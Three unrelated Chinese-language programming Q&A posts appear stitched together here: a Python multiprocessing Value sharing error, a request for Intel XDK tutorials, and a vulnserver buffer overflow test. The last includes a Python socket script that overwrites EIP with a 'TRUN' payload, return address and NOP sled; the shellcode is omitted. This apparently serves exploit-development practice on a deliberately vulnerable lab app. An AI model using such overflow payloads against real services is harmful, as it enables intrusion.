我希望能够使用多处理库中的“值”模块来跟踪数据。据我所知,在Python中进行多处理时,每个进程都有其自己的副本,因此我无法编辑全局变量。我希望能够使用值来解决此问题。有谁知道我如何将Values数据传递到池函数中?
from multiprocessing import Pool, Value
import itertools
arr = [2,6,8,7,4,2,5,6,2,4,7,8,5,2,7,4,2,5,6,2,4,7,8,5,2,9,3,2,0,1,5,7,2,8,9,3,2,]
def hello(g, data):
data.value += 1
if __name__ == '__main__':
data = Value('i', 0)
func = partial(hello, data)
p = Pool(processes=1)
p.map(hello,itertools.izip(arr,itertools.repeat(data)))
print data.value
Run Code Online (Sandbox Code Playgroud)
这是我遇到的运行时错误:
RuntimeError: Synchronized objects should only be shared between processes through inheritance
Run Code Online (Sandbox Code Playgroud)
有人知道我在做什么错吗?
绝对的菜鸟在哪里可以学习如何使用 Intel XDK 进行开发。我到处搜索教程,但找不到足够全面的教程来帮助指导我完成整个过程或开发混合应用程序。
我目前正在对vulnserver应用程序进行缓冲区溢出测试。用 A 的十六进制值溢出缓冲区似乎没有问题地传递到程序中。EIP 被覆盖也没有问题。但是,当我开始使用 NOP 雪橇时,在每个 NOP 值之后都会传入一个 C2 十六进制值。不知道为什么会这样。我有十六进制转储来向你展示我的意思:
这是我用来创建溢出的python脚本:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",9999))
buff = '\x41' * 2006
shellcode = ...
nop = '\x90' * 16
#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop
s.send(overflow.encode())Run Code Online (Sandbox Code Playgroud)
我想知道该错误是在 python 编码/发送数据包时发生的,还是仅仅是由于 vulnserver 的编写方式造成的。